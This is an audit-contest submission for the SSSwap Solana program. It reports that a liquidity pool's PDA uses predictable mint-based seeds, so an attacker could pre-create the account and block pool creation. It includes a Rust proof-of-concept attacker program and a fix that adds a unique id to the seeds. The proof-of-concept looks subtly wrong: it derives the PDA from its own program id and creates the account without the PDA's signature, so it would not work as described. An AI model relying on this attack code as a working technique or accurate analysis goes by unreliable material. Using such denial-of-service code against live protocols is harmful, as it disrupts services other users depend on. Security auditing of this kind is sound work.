SSSwap

First Flight #41
Beginner FriendlyRust
100 EXP
View results
Submission Details
Severity: medium
Valid

Attacker Can DoS Protocol from Creating Pools Due to PDA Collisions

Root + Impact

Description

The protocol allows users to create Liquidity pools for token pairs e.g USDC/SOL by initializing a PDA account using the token mint addresses and a static prefix as seeds. An attacker can frontrun and create an account at the same PDA using the publicly known token mint addresses, causing the protocol’s pool creation instruction to fail due to an existing account, causing a collision.

#[account(
init,
payer = creator,
space = ANCHOR_DISCRIMINATOR + LiquidityPool::INIT_SPACE,
// @audit Using the Token keys as seeds for PDA initialization
seeds = [b"pool", token_mint_a.key().as_ref(), token_mint_b.key().as_ref()],
bump
)]
pub liquidity_pool: Account<'info, LiquidityPool>,

Risk

Likelihood:

Token mint addresses are publicly available, allowing anyone to compute the PDA using the seeds [b"pool", token_mint_a.key(), token_mint_b.key()].

Attacker can create an account at the PDA using system_instruction::create_account before the protocol attempts to initialize the pool.

Impact:

Prevents the protocol from creating liquidity pools for token pairs, disrupting core functionality and user experience.

Proof of Concept

Attacker creates a PDA ahead of the protocol, using the create_account instruction so when the protocol attempts to initialize a pool for the same token pair it will not be successful.

use solana_program::{
account_info::AccountInfo,
entrypoint,
entrypoint::ProgramResult,
pubkey::Pubkey,
system_instruction,
program::invoke,
};
entrypoint!(process_instruction);
fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
_instruction_data: &[u8],
) -> ProgramResult {
let attacker = &accounts[0];
let system_program = &accounts[1];
let target_pda = Pubkey::find_program_address(
&[
b"pool",
&Pubkey::new_from_array([1; 32]).to_bytes(), // Using the Mock USDC mint
&Pubkey::new_from_array([2; 32]).to_bytes(), // Using the Mock SOL mint
],
program_id,
).0;
// Create account at target PDA, when protocol tries to create, it will cause a collision/error
invoke(
&system_instruction::create_account(
attacker.key,
&target_pda,
1_000_000,
200,
program_id,
),
&[attacker.clone(), accounts[2].clone(), system_program.clone()],
)?;
Ok(())
}

Recommended Mitigation

Add a unique id to the PDA seeds to make them unpredictable to avoid duplicates.

#[account(
init,
payer = creator,
space = ANCHOR_DISCRIMINATOR + LiquidityPool::INIT_SPACE,
// fix -- parse in an Id value to the seeds via instruction to prevent this
seeds = [b"pool", token_mint_a.key().as_ref(), token_mint_b.key().as_ref(), id.to_le_bytes().as_ref()],
bump
)]
pub liquidity_pool: Account<'info, LiquidityPool>,
Updates

Lead Judging Commences

0xtimefliez Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

PDA collision due to non-unique salt

Appeal created

cd_pandora Submitter
5 days ago
0xtimefliez Lead Judge
4 days ago
0xtimefliez Lead Judge 3 days ago
Submission Judgement Published
Validated
Assigned finding tags:

PDA collision due to non-unique salt

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.